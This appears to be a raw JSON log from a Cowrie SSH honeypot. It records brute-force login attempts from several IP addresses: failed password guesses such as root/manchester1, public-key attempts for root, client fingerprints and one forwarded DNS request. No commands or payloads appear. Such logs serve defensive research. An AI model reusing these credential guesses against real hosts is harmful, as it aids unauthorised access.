{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:25.192939Z","src_ip":"87.251.64.176","session":"bc850ea4fb1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:25.292383Z","src_ip":"87.251.64.176","session":"bc850ea4fb1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":36302,"dst_ip":"10.17.0.5","dst_port":22,"session":"c644c35c811e","protocol":"ssh","message":"New connection: 45.137.172.116:36302 (10.17.0.5:22) [session: c644c35c811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:27.860298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:27.865073Z","src_ip":"45.137.172.116","session":"c644c35c811e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:27.962054Z","src_ip":"45.137.172.116","session":"c644c35c811e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:28.379854Z","src_ip":"45.137.172.116","session":"c644c35c811e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:29.479729Z","src_ip":"45.137.172.116","session":"c644c35c811e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":52022,"dst_ip":"10.17.0.5","dst_port":22,"session":"205ee2f3017d","protocol":"ssh","message":"New connection: 202.51.214.99:52022 (10.17.0.5:22) [session: 205ee2f3017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:46.501060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:46.505854Z","src_ip":"202.51.214.99","session":"205ee2f3017d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:46.747797Z","src_ip":"202.51.214.99","session":"205ee2f3017d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manchester1","message":"login attempt [root/manchester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:47.746184Z","src_ip":"202.51.214.99","session":"205ee2f3017d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:48.991738Z","src_ip":"202.51.214.99","session":"205ee2f3017d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":11462,"dst_ip":"10.17.0.5","dst_port":22,"session":"be69f2cd4ece","protocol":"ssh","message":"New connection: 45.90.105.6:11462 (10.17.0.5:22) [session: be69f2cd4ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.100382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.104369Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.181261Z","src_ip":"58.56.200.238","session":"d0ebac002c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.186902Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:c4:be:d6:df:75:a8:84:0f:bf:f1:6e:81:99:b7:a5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMVhYbgLAYbEz6dTJ6NTV6jEpz38vkO4PGhKQmp7iz1tNAnGfx82DGNsij8gnKAYtnpA8aq8sul5TsAEVlrMyMsN3i8lXwZax7uGP2S18Fs6dqwVp9cnYoAD1Kkh0nFsFxH84QseR9oJ7z0LOZDZweSewyP0uXzcW+pTmNXFqGM7AAAAFQDZWcfVUpPMlRo+8UMM1bd6KybqBwAAAIEAqkpkV/DtlqmUbx+a3Bw+qJZPPyxgtACtDgeEgcbA2iBTaQVRJ/+c9ON9MpQAHPmii8J3sI6GF/HxFuTDeDJ7vxF8yLzoYlf2N07XVj3vgHm0GfcKskZ/vCl/URO0sAEslsSVe9SrQLgmtlpP11Szd+ht9au0f8WNaRhYE5WsjRMAAACBALcIig+Zv3RG3fRJC9D1SN6e9C4axycPNeOrSaWdACG0MsWoNxeKoLb1F3rCTm41XxpIchQpPLyI0R9yCJcOSffmTUNsJPSIDoK9UnvaXJttKNb3XADE6EhKW4m96MIjGekktSU7zOe/lXJkSkFY6HyM/D3myAwezcULNOG3v2Nd","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint dd:c4:be:d6:df:75:a8:84:0f:bf:f1:6e:81:99:b7:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.574381Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:c4:be:d6:df:75:a8:84:0f:bf:f1:6e:81:99:b7:a5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMVhYbgLAYbEz6dTJ6NTV6jEpz38vkO4PGhKQmp7iz1tNAnGfx82DGNsij8gnKAYtnpA8aq8sul5TsAEVlrMyMsN3i8lXwZax7uGP2S18Fs6dqwVp9cnYoAD1Kkh0nFsFxH84QseR9oJ7z0LOZDZweSewyP0uXzcW+pTmNXFqGM7AAAAFQDZWcfVUpPMlRo+8UMM1bd6KybqBwAAAIEAqkpkV/DtlqmUbx+a3Bw+qJZPPyxgtACtDgeEgcbA2iBTaQVRJ/+c9ON9MpQAHPmii8J3sI6GF/HxFuTDeDJ7vxF8yLzoYlf2N07XVj3vgHm0GfcKskZ/vCl/URO0sAEslsSVe9SrQLgmtlpP11Szd+ht9au0f8WNaRhYE5WsjRMAAACBALcIig+Zv3RG3fRJC9D1SN6e9C4axycPNeOrSaWdACG0MsWoNxeKoLb1F3rCTm41XxpIchQpPLyI0R9yCJcOSffmTUNsJPSIDoK9UnvaXJttKNb3XADE6EhKW4m96MIjGekktSU7zOe/lXJkSkFY6HyM/D3myAwezcULNOG3v2Nd","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.577958Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs6DEPFNovd1UaYIvDc24osvZWjPsLkxWD7hzwpknaRTnI2FeK9Qe0WN5gsbDJsYj0fpOCIEwhgNSmPjfrJKG9xKUEhfsm1+Y3NB8iFLdC232zNS228xeMz9QSHJPXrzM5a+Ilgg3954aiH49cpxS5Cckd+bvmignx3aK3ulZ7W766p+sq+tMrvPkCQ781WQjOeC2lAcJm5bcK+Y46oGQ09Te5ieau1I1b8Cy7HvSt4L3alI6hwM/0pZRFtaALd7NkPWDLiiDCMwFQ+LcGk/vE1ZdvjL+L5S0VID/veTV3dxNlQGCYDyrRBIwOo5JIF+BStAUo3fwsqdn5gihGIogx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.659525Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs6DEPFNovd1UaYIvDc24osvZWjPsLkxWD7hzwpknaRTnI2FeK9Qe0WN5gsbDJsYj0fpOCIEwhgNSmPjfrJKG9xKUEhfsm1+Y3NB8iFLdC232zNS228xeMz9QSHJPXrzM5a+Ilgg3954aiH49cpxS5Cckd+bvmignx3aK3ulZ7W766p+sq+tMrvPkCQ781WQjOeC2lAcJm5bcK+Y46oGQ09Te5ieau1I1b8Cy7HvSt4L3alI6hwM/0pZRFtaALd7NkPWDLiiDCMwFQ+LcGk/vE1ZdvjL+L5S0VID/veTV3dxNlQGCYDyrRBIwOo5JIF+BStAUo3fwsqdn5gihGIogx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.663833Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:07:8c:7d:66:23:16:8e:3b:cd:21:74:7f:11:5c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc3GvobxzOmQB6X+XsiYvtE2l1vvmEl3HSyHoMoQbKfmXWqlMYLoyA8pMICMux+JKuNGaA5B/9B8CgD2K0PXrSIxMh7HqZTdq7hgzfOu0y0NnhRFtQ47GVHhsSiFHn0+GTPPm3BfMC95Xx0taJg6KmrvNgcDT+CVTjz5heRzAAIH3nvWKE5vTR1d1Q1il1OqLR46rmhxOynIrKij2UsJwMeQCSNdhvTP1XUw3C0ukv2QeKu/GQrG5Rgdz1L6WGI4V0sBTQjn137eAbQhyuGYKh9lrAMaR/uDVnqxi3zURlYDDeCCbKWCWFP9gcQYW4re72vDVBYkuvRCSLSE6dRyJJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:07:8c:7d:66:23:16:8e:3b:cd:21:74:7f:11:5c:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.746947Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:07:8c:7d:66:23:16:8e:3b:cd:21:74:7f:11:5c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc3GvobxzOmQB6X+XsiYvtE2l1vvmEl3HSyHoMoQbKfmXWqlMYLoyA8pMICMux+JKuNGaA5B/9B8CgD2K0PXrSIxMh7HqZTdq7hgzfOu0y0NnhRFtQ47GVHhsSiFHn0+GTPPm3BfMC95Xx0taJg6KmrvNgcDT+CVTjz5heRzAAIH3nvWKE5vTR1d1Q1il1OqLR46rmhxOynIrKij2UsJwMeQCSNdhvTP1XUw3C0ukv2QeKu/GQrG5Rgdz1L6WGI4V0sBTQjn137eAbQhyuGYKh9lrAMaR/uDVnqxi3zURlYDDeCCbKWCWFP9gcQYW4re72vDVBYkuvRCSLSE6dRyJJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.753403Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:b3:93:23:07:f9:d9:9a:e4:c9:e6:c2:8a:96:01:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPpEhL/ooSvCfeboyofjKnH0u8CzeBASgzo2+yGC/+vPYn1s7hDB4X5QOrxwsvLbrYujSsJwl5FCgVgu5aiTh9frc1myxxqOLAQUPZsxZnOcKtb5O1Yqx/FkwdChGtXGALv+NxUgw74dWu+8VCKABD8lhiuL6BPL4wTQoMCTKH1bJ5xHQqf0Hz7HBklGYAlbtNy3LzN+U8YTxkQ2MoLu8WX3wvsejEfo2tp/GG9+iawPK6jmdLnB6ZJhkUhCRbLcyqly0xjFseHGuDWo79hpdM8bZypK8v4u3a4+o4chGJav+/1WW8/bKGQJB2BXRChYyCU0yvBHPu+6OL5an5h3Zx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:b3:93:23:07:f9:d9:9a:e4:c9:e6:c2:8a:96:01:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.835248Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:b3:93:23:07:f9:d9:9a:e4:c9:e6:c2:8a:96:01:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPpEhL/ooSvCfeboyofjKnH0u8CzeBASgzo2+yGC/+vPYn1s7hDB4X5QOrxwsvLbrYujSsJwl5FCgVgu5aiTh9frc1myxxqOLAQUPZsxZnOcKtb5O1Yqx/FkwdChGtXGALv+NxUgw74dWu+8VCKABD8lhiuL6BPL4wTQoMCTKH1bJ5xHQqf0Hz7HBklGYAlbtNy3LzN+U8YTxkQ2MoLu8WX3wvsejEfo2tp/GG9+iawPK6jmdLnB6ZJhkUhCRbLcyqly0xjFseHGuDWo79hpdM8bZypK8v4u3a4+o4chGJav+/1WW8/bKGQJB2BXRChYyCU0yvBHPu+6OL5an5h3Zx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.839147Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:4c:12:84:ee:4c:48:89:1b:ae:a0:83:c2:a6:50:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDuYN5NlSUqMz7wsj4y1a3Zja/Z9gcQCZBa4i0YN+9TpxRVtmfLsqtKM2x/f0W7M69Tkh3NLUuHMVVtNoHWvfYrYoP78T47QaUpbqF+GZ3HCAwDXnW6T28PXJqE2JSPGj1O0HV2YFtELH5bb5SJH9AEDq0I72/X8VK7efmEyHXLM7xt4anDHN71+bfLPo0I8z4iF36St32WPefrmh1iJ5KBzATtKDIPYJzDFLXKvd7jlQLzivr1Bpk1Kz9ionGXObs4ZsHa5SP0SWtT+njZ/a34w8/JxXZpo0bNicVd7Z64yfr3+quZ8EKfNQyPxg3Cl2tGXxjjlvHQAcB0xSIEilR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:4c:12:84:ee:4c:48:89:1b:ae:a0:83:c2:a6:50:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.921537Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:4c:12:84:ee:4c:48:89:1b:ae:a0:83:c2:a6:50:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDuYN5NlSUqMz7wsj4y1a3Zja/Z9gcQCZBa4i0YN+9TpxRVtmfLsqtKM2x/f0W7M69Tkh3NLUuHMVVtNoHWvfYrYoP78T47QaUpbqF+GZ3HCAwDXnW6T28PXJqE2JSPGj1O0HV2YFtELH5bb5SJH9AEDq0I72/X8VK7efmEyHXLM7xt4anDHN71+bfLPo0I8z4iF36St32WPefrmh1iJ5KBzATtKDIPYJzDFLXKvd7jlQLzivr1Bpk1Kz9ionGXObs4ZsHa5SP0SWtT+njZ/a34w8/JxXZpo0bNicVd7Z64yfr3+quZ8EKfNQyPxg3Cl2tGXxjjlvHQAcB0xSIEilR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:53.925174Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:54.007818Z","src_ip":"45.90.105.6","session":"be69f2cd4ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":49052,"dst_ip":"10.17.0.5","dst_port":22,"session":"756aa342cf07","protocol":"ssh","message":"New connection: 69.48.205.231:49052 (10.17.0.5:22) [session: 756aa342cf07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:25.595353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:25.600717Z","src_ip":"69.48.205.231","session":"756aa342cf07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:25.642745Z","src_ip":"69.48.205.231","session":"756aa342cf07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig@000","message":"login attempt [root/k0nig@000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:25.839967Z","src_ip":"69.48.205.231","session":"756aa342cf07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:26.884459Z","src_ip":"69.48.205.231","session":"756aa342cf07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":53956,"dst_ip":"10.17.0.5","dst_port":22,"session":"332750a5fe22","protocol":"ssh","message":"New connection: 103.118.29.129:53956 (10.17.0.5:22) [session: 332750a5fe22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:28.755514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:55:28.760237Z","src_ip":"103.118.29.129","session":"332750a5fe22","protocol":"ssh"}
